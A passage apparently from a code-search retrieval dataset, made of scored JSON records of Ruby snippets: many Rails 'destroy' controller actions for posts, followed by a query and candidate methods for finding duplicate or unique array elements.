end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0d274f46f2b3d34dbaf524f350c9d97", "score": "0.7457985", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d535c0de1b8444e4d78bde78ffefd474", "score": "0.7428722", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cacf1cce75b331c081c53f7d9348c019", "score": "0.7423594", "text": "def destroy\n respond_with Post.destroy(params[:id])\n end", "title": "" }, { "docid": "51583ea3fe6af729878c6dac8d6c7b6f", "score": "0.7406799", "text": "def destroy\n r = PostRepository.new\n @post = r.GetPost(\"PostID\", params[:id].to_i)\n r.delete @post\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "7a1a09b2c2342c7f191bdf880552ca62", "score": "0.7399415", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end", "title": "" }, { "docid": "72f13c57f7c53019856d045294a5f14b", "score": "0.7393283", "text": "def destroy\n @api_post.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "2d8864982ae9b2f5407920d5be7863b1", "score": "0.7389584", "text": "def destroy\n @post.destroy\n render json: {\n data: {\n post: { key: @post.id },\n status: @post.status,\n }\n }\n end", "title": "" }, { "docid": "192b823895368ed8076c92d5b3a5f042", "score": "0.7372024", "text": "def destroy\n\t\tpost = Post.find(params[:id])\n\t\t# byebug\n \tpost.destroy\n\t posts = Post.all\n \trender json: posts\n end", "title": "" }, { "docid": "26d4863cfb52cc7af50a3e8dba50d4df", "score": "0.7371342", "text": "def destroy\r\n @post = Post.find(params[:id])\r\n @post.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to posts_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "7ee89cbcc39f9b2f30100c9df6f146e1", "score": "0.7349546", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_path, notice: \"Post removed.\" }\n format.json { render 'destroy' }\n end\n end", "title": "" }, { "docid": "54f541c73e424c00e6b4d28897141cf0", "score": "0.73453593", "text": "def delete\n @post = Post.find(params[:id])\n end", "title": "" }, { "docid": "07852ab7c1bc08e8d7c55295ebcbb16c", "score": "0.7342181", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_path(client_id:current_user.client.id, per_page:5), notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ac136cf5259ae88e0667d4f4d0d32e5b", "score": "0.73396355", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_index_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a3dcdb42404c78b1df9db1921ea3489f", "score": "0.7314106", "text": "def destroy\n respond_with Post.destroy(params[:id])\n end", "title": "" }, { "docid": "eb78bf720442c5b0ad1a509d62b7569d", "score": "0.731265", "text": "def destroy\r\n @post = Post.find(params[:id])\r\n @post.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to root_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "c19d910bfeb3d555f8b93402c5efb4a8", "score": "0.7312364", "text": "def destroy\n @post.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "9400d15fd061bc4ebe155ff977693b92", "score": "0.7309832", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/posts' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "884a80c28629fac6ba7a253218a18cfe", "score": "0.72995317", "text": "def destroy\n @post.destroy\n\n render json: Post.all.as_json\n end", "title": "" }, { "docid": "aec2b7cc264222caeadb9487e972995a", "score": "0.72987586", "text": "def destroy\n @post.destroy\n head :no_content\n end", "title": "" }, { "docid": "aec2b7cc264222caeadb9487e972995a", "score": "0.72987586", "text": "def destroy\n @post.destroy\n head :no_content\n end", "title": "" }, { "docid": "f2381364ca38d175535c5ed38f3d695a", "score": "0.728323", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to blog_posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "90f4f7169c0bda0a456afa86a6587c5b", "score": "0.7277556", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n @title = \"Kill Post\"\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "72fd2bca889f784f677e9930062d5f72", "score": "0.7266647", "text": "def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to all_user_posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "48c35c5d61d94820860352254fe7c5ed", "score": "0.72617495", "text": "def destroy\n @post.destroy\n head :no_content\n end", "title": "" }, { "docid": "0492561f588e8689a8ea2e51e678c1a4", "score": "0.7255202", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html {redirect_to posts_url, notice: 'Post was successfully destroyed.'}\n format.json {head 200}\n end\n end", "title": "" }, { "docid": "2d067cc63b5f891983168f2b3bec9ff1", "score": "0.72551227", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b1159d79e04228d7a7d724dc4205c9cb", "score": "0.72396547", "text": "def destroy\n respond_with post.destroy(params[:id])\n end", "title": "" }, { "docid": "cb83ef805737c6ccbf3c4b7097d856ac", "score": "0.723934", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_path, notice: 'Post was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9dc24841e2227022fa63d009fb27252d", "score": "0.7230095", "text": "def destroy\n @post.destroy\n \n respond_to do |format|\n format.html { redirect_to post_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "689d5a07a403c4b765ba178e4aff08a3", "score": "0.7227884", "text": "def delete\n client.delete(\"/#{id}\")\n end", "title": "" }, { "docid": "5c51f4574e136eaea94272abd8da2bd8", "score": "0.7222077", "text": "def destroy\n Post.find(params[:id]).delete\n\n redirect_to '/'\n end", "title": "" }, { "docid": "251b72c8ad6000225b56af42ecf37d14", "score": "0.72136223", "text": "def destroy\n # @post = Post.find(params[:id])\n #@post.destroy\n\n #respond_to do |format|\n # format.html { redirect_to posts_url }\n #format.json { head :no_content }\n #end\n end", "title": "" }, { "docid": "00a47e2e11e1db76c4288c69e0bf648b", "score": "0.7211899", "text": "def delete(url)\n raise Error, \"Missing URL\" unless url\n get('posts/delete?uri=' << u(url))\n nil\n end", "title": "" }, { "docid": "643ac96c5e3971cd5a1122ace4b6cec3", "score": "0.7210148", "text": "def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to news_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "4b8f530ca5b237454559e059dd215383", "score": "0.71905077", "text": "def destroy\n @post = Post.find_by_slug(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fae177af47149b4a5f2fbfe9d50661f8", "score": "0.7185815", "text": "def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url, notice: \"Anúncio removido com sucesso.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7615131eaffeb81051eb948447244020", "score": "0.7172443", "text": "def destroy\n @post = Post.friendly.find(params[:id])\n @post.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Story deleted' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9126593a9d4f87e282746135aa81988e", "score": "0.7153723", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: \"Postitus edukalt kustutatud!\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d32b6c772ef545994090d47caa92fa9a", "score": "0.7146247", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: 'Postagem excluida com sucesso.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3968d8e29c4aeaa16f2c6011408adfcf", "score": "0.7143952", "text": "def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: 'Postagem excluída com sucesso!' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2130aef2bf633a7a25ac3c690bbd6deb", "score": "0.71421957", "text": "def destroy\n @mural_post.destroy\n respond_to do |format|\n format.html { redirect_to mural_posts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7ea3dbd90a2612e51349ba69b0443ce8", "score": "0.7141054", "text": "def destroy\n @posto = Posto.find(params[:id])\n @posto.destroy\n\n respond_to do |format|\n format.html { redirect_to postos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3f9ecb41c172e34eca6755c13bbd5100", "score": "0.7138087", "text": "def destroy\n @api_post.destroy\n end", "title": "" } ]
c028110316f20375090ad18d1759db75
=begin Examples p no_dupes?([1, 1, 2, 1, 3, 2, 4]) => [3, 4] p no_dupes?(['x', 'x', 'y', 'z', 'z']) => ['y'] p no_dupes?([true, true, true]) => [] =end
[ { "docid": "f5d5bc81dfc2dc27519a0f1420a106c2", "score": "0.0", "text": "def no_consecutive_repeats?(array)\n (0...array.length-1).each {|index| return false if array[index] === array[index+1]}\n true\nend", "title": "" } ]
[ { "docid": "5afb38aaed80ff5e96dc10c787ccc2e6", "score": "0.8317104", "text": "def no_dupes?(arr)\n uniques = []\n \n arr.each { |el| uniques << el if !uniques.include?(el) && arr.count(el) == 1 }\n\n return uniques\nend", "title": "" }, { "docid": "a7ea71aad9608720bc77cf9874531c46", "score": "0.8089097", "text": "def no_dupes?(arr)\n arr.select{|el| arr.count(el) == 1}\nend", "title": "" }, { "docid": "c35c333d5374d8a98a78fbbbaa6ff3c4", "score": "0.8064385", "text": "def no_dupes?(arr)\n arr.select {|ele| arr.count(ele) == 1}\nend", "title": "" }, { "docid": "f43624ebb3900ea8b96cc23854efa2b8", "score": "0.8062899", "text": "def no_dupes?(arr)\n arr.select { |el| arr.count(el) == 1 }\nend", "title": "" }, { "docid": "0c01b27f13f4734eca94561ec92e766f", "score": "0.8014355", "text": "def no_dupes?(arr)\n arr.select do |ele|\n arr.count(ele) == 1\n end\nend", "title": "" }, { "docid": "19987721f9c2101fc1b695c4ad009c42", "score": "0.78127414", "text": "def no_dupes?(arr)\n arr.select { |ele| arr.one?(ele) }\nend", "title": "" }, { "docid": "29e37938b4c0b50208acafa453d89bcc", "score": "0.7789862", "text": "def no_dupes?(arr)\n count = Hash.new(0)\n arr.each { |el| count[el] += 1 }\n count.keys.select { |el| count[el] == 1 }\n end", "title": "" }, { "docid": "305501f72f122116bb9a855fedfc16bf", "score": "0.7725511", "text": "def find_nondupes(array)\n new_array = []\n array.each do |element|\n if array.count(element) == 1\n new_array << element\n end\n end\n new_array\nend", "title": "" }, { "docid": "fbf18b1fb8d0d8b61cc44926faad98c6", "score": "0.76848155", "text": "def no_dupes?(arr)\n new_arr = []\n arr.each_index do |i|\n new_arr << arr[i] unless (arr[0...i] + arr[i + 1..-1]).include?(arr[i])\n end\n new_arr\nend", "title": "" }, { "docid": "534bbcc6b13f8622d004650e964a6cd8", "score": "0.7675181", "text": "def containsDuplicates(a)\n a.uniq != a\nend", "title": "" }, { "docid": "6061c7bd20ffe5d6f51107f9d05a199e", "score": "0.7668325", "text": "def no_dupes?(arr)\n count = Hash.new(0)\n res = []\n arr.each { |el| count[el] += 1 }\n count.each do |k, v|\n if v == 1\n res << k\n end\n end\n\n res\nend", "title": "" }, { "docid": "bdc5d7854bb9a85ec58b4a3a528a05ee", "score": "0.76316917", "text": "def no_dupes?(arr)\n hash = Hash.new(0)\n arr.each {|ele| hash[ele] += 1 }\n answer = []\n hash.each {|k,v| answer << k if v == 1 }\n answer\nend", "title": "" }, { "docid": "fe4e9525dc3b2892b7fab64d9a96e009", "score": "0.75985765", "text": "def no_dupes?(arr)\n counter = Hash.new(0)\n arr.each { |ele| counter[ele] += 1 }\n counter.keys.select { |key| counter[key] == 1 }\nend", "title": "" }, { "docid": "5ef4fa99382e1bb851887b6e76728db0", "score": "0.7597394", "text": "def no_dupes?(arr)\n hash = Hash.new(0)\n arr.each { |ele| hash[ele] += 1 }\n hash.select! { |k, v| v == 1 }\n hash.keys\nend", "title": "" }, { "docid": "8d46af1189f74c42258a195061e87d27", "score": "0.75964123", "text": "def contains_duplicate(nums)\n !(nums == nums.uniq)\nend", "title": "" }, { "docid": "7bf5b6240e671238ae2a43c8aceda461", "score": "0.75887704", "text": "def no_dupes?(arr)\n count = Hash.new(0)\n\n arr.each { |el| count[el] += 1}\n count.keys.select {|ele| count[ele] == 1}\n\nend", "title": "" }, { "docid": "e347fff002e3a036865a79b683a0186d", "score": "0.7572643", "text": "def no_dupes?(arr)\n\n counter = Hash.new(0)\n\n arr.each { |ele| counter[ele]+=1}\n\n counter.select! {|k,v| v==1}\n\n counter.keys\n\nend", "title": "" }, { "docid": "e00997ed1e68f290cdf8ccf28f259a3b", "score": "0.75620186", "text": "def no_dupes?(arr)\n hash = Hash.new(0)\n arr.each { |ele| hash[ele] += 1 }\n hash.select { |k , v| v == 1 }.keys\nend", "title": "" }, { "docid": "52bdc7055fa4b1ddbc21f2d4be42f4df", "score": "0.7561249", "text": "def hasDupes array\n obj = {:list => []}\n 0.upto(array.length-1) do |i|\n if obj[array[i]]\n return true\n else \n obj[array[i]] = true\n end\n end\n return false\nend", "title": "" }, { "docid": "b02741d223bb26adc4e5ee05d5040d96", "score": "0.75429386", "text": "def no_dupes?(arr)\n count = Hash.new(0)\n arr.each { |el| count[el] += 1 }\n # count.keys.select { |el| count[el] == 1 }\n no_dupes = []\n count.each do |k, v|\n no_dupes << k if v == 1\n end\n no_dupes\nend", "title": "" }, { "docid": "c06374f6c5efeac2c1293f0e36a8f2d7", "score": "0.7532115", "text": "def no_dupes?(arr)\n hash = Hash.new(0)\n arr.each {|ele| hash[ele] += 1}\n hash.select {|k,v| v == 1}.keys\nend", "title": "" }, { "docid": "bb1036ea4dc2c75c84c11363eef2c10b", "score": "0.7459987", "text": "def no_dupes?(arr)\n elements = Hash.new(0)\n unique_elements = []\n arr.each { |k, v| elements[k] += 1 }\n elements.each_key { |key| unique_elements << key if elements[key] == 1 }\n unique_elements\nend", "title": "" }, { "docid": "b90586e38c56d3f68531f94cf870ec7b", "score": "0.744093", "text": "def no_dupes?(arr)\n counts = Hash.new(0)\n arr.each do |ele|\n counts[ele] += 1\n end\n output = []\n counts.each do |k, v|\n if v == 1\n output << k\n end\n end\n output\nend", "title": "" }, { "docid": "b3ac9ff7ac0d500f3d96b677badc3855", "score": "0.7433882", "text": "def dupes_by?(&block)\n self.uniq_by(&block).length != self.length\n end", "title": "" }, { "docid": "1a5f2232ce67bfcb54d59171ac8e681f", "score": "0.7423008", "text": "def just_duplicates(arr)\n arr.select { |x| arr.count(x) > 1 }.uniq!\nend", "title": "" }, { "docid": "7e2b16a7d29cefbd3b86b0667570efba", "score": "0.7368488", "text": "def no_repeats(secret_array)\n\tnumbers_used = []\n\tsecret_array.each do |x|\n\t\tif numbers_used.include? x\n\t\t\treturn false\n\t\telse\n\t\t\tnumbers_used.push x\n\t\tend\n\tend\n\treturn true\nend", "title": "" }, { "docid": "198775a731aeb7078bb0db226b652ecd", "score": "0.73371917", "text": "def dupes(arr)\n if arr.uniq == arr\n p \"array doesnt have dupes\"\n else\n p \"array has dupes!!\"\n end\nend", "title": "" }, { "docid": "e3a22871e1479c228fb4f8f4600d8116", "score": "0.73321533", "text": "def no_dupes?(arr)\n hash = Hash.new(0)\n arr.each do |ele|\n hash[ele] += 1 \n end\n\n no_dupe = hash.select {|k, v| v < 2}\n no_dupe.keys\nend", "title": "" }, { "docid": "19ddd0b1761ecb65ffa2ac0bf6254717", "score": "0.7317126", "text": "def contains_duplicate(nums)\n nums.length == 0 || nums.uniq.length == nums.length ? false : true\nend", "title": "" }, { "docid": "e0a516369eb74b50c6307fab82a07cc4", "score": "0.73092186", "text": "def no_dupes?(arr)\n new_hash = Hash.new{|h,k| h[k] = 0} # Hash.new(0)\n arr.each{|el| new_hash[el] += 1}\n new_hash.select{|k,v| v == 1}.keys\nend", "title": "" }, { "docid": "6e6726b9036d95ee20e9ad2556480f9e", "score": "0.72937244", "text": "def no_dupes?(arr)\n ele_count = arr.each_with_object(Hash.new(0)) do |ele, new_hash|\n new_hash[ele] += 1\n end\n\n ele_count.select{ |k, v| v == 1}.keys\nend", "title": "" }, { "docid": "995f856b1d1ea87ec2a088751eb92ba3", "score": "0.71701", "text": "def nonuniq(list, &block)\n block ||= proc { |x| x }\n groups = list.group_by(&block)\n groups.select { |_, v| v.count > 1 }.values.flatten\nend", "title": "" }, { "docid": "cb4e32900c244a26ea16a11bbf045155", "score": "0.7143061", "text": "def unique(data)\n return data.all? {|item| data.count(item) == 1}\nend", "title": "" }, { "docid": "cf873babe2915889c0eaa0430669fc18", "score": "0.71148497", "text": "def non_duplicated_values(values)\n\t values.find_all{|x| values.count(x) == 1}\nend", "title": "" }, { "docid": "ed29758b591b62a93cc68efd27de78f2", "score": "0.7110491", "text": "def removeDu(list)\n noDu = Array.new\n flag = false\n list.each do |each_|\n flag = true\n noDu.each do |du|\n if du == each_\n flag = false\n end\n end\n if flag \n noDu.push(each_)\n end\n end\n return noDu\n end", "title": "" }, { "docid": "22b8282a05bf096cc2c71dbea91afa57", "score": "0.7107094", "text": "def duplicates(arr)\n arr.select { |e| arr.count(e) > 1 }.uniq\nend", "title": "" }, { "docid": "b46a681c445209d7f0b0ed7948cd6d8a", "score": "0.7092349", "text": "def non_duplicated_values(values)\n results = []\n values.each do |x|\n results << x if values.count(x) == 1\n end\n return results\nend", "title": "" }, { "docid": "0944144d87918897bf4ccb8f269ec0d8", "score": "0.7092009", "text": "def return_duplicates\n \tself.find_all { |e| self.count(e) > 1 }.uniq.sort\n end", "title": "" }, { "docid": "7e0ed5408fcbb004386a17b1a9da0b56", "score": "0.7089107", "text": "def non_duplicated_values_in_array(values)\n values.select{|x| values.count(x) == 1}\nend", "title": "" }, { "docid": "2a196ebf794b63b16e4db160fa44e322", "score": "0.70626247", "text": "def has_repeats?(array)\n array.uniq.length < array.length\n end", "title": "" }, { "docid": "f7cb814879f0d034cf09970840be84c6", "score": "0.7062413", "text": "def contains_duplicate(arr)\n return Set.new(arr).size < arr.size\nend", "title": "" }, { "docid": "0689d0054266588123b81e937af8ab6a", "score": "0.7057378", "text": "def non_duplicated_values(values)\n values.find_all { |x| values.count(x) == 1 }\nend", "title": "" }, { "docid": "0689d0054266588123b81e937af8ab6a", "score": "0.7057378", "text": "def non_duplicated_values(values)\n values.find_all { |x| values.count(x) == 1 }\nend", "title": "" }, { "docid": "0689d0054266588123b81e937af8ab6a", "score": "0.7057378", "text": "def non_duplicated_values(values)\n values.find_all { |x| values.count(x) == 1 }\nend", "title": "" }, { "docid": "6adc58221447a50b13bd50b11b503d92", "score": "0.7044723", "text": "def has_duplicates?(terms)\n return true if terms.compact.size != terms.compact.uniq.size\nend", "title": "" }, { "docid": "1f78ea57ee85d330aca18ffd4cb305a6", "score": "0.7041181", "text": "def test_uniq_item_dupes\n assert_equal [false, true], @triple_bool.uniq { |e| e == false }\n end", "title": "" }, { "docid": "e884b801380de29f5fc30d29ceb507b1", "score": "0.703525", "text": "def non_duplicated_values(values)\n no_dupes = Array.new\n values.each_with_index {|x, y| if !(no_dupes[y].eql?(x.to_s)) then no_dupes << x end}\n puts no_dupes\nend", "title": "" }, { "docid": "4fd651444e3256183013d1b0e21c87fc", "score": "0.70254683", "text": "def duplication?\n not duplicates.empty?\n end", "title": "" }, { "docid": "4ecc37c2fcd82a5fb871e641f9f082d2", "score": "0.7011075", "text": "def non_duplicated_values(value)\n value.find_all {|x| value.count(x) == 1}\nend", "title": "" }, { "docid": "14a42d5c62baf0643d3c113baa3ccc44", "score": "0.70101607", "text": "def unique(mylist)\r\n unique = []\r\n mylist.each do |element|\r\n unique << element if ! unique.include?(element)\r\n end\r\n unique\r\nend", "title": "" }, { "docid": "7ab3bade3d7735e0df155e8af3d352b2", "score": "0.70056057", "text": "def has_dupes?\n dupes = nil\n for i in 0..@pass_array.length - 2\n if @pass_array[i] == @pass_array[i + 1]\n dupes = true\n @dupes << @pass_array[i]\n end\n 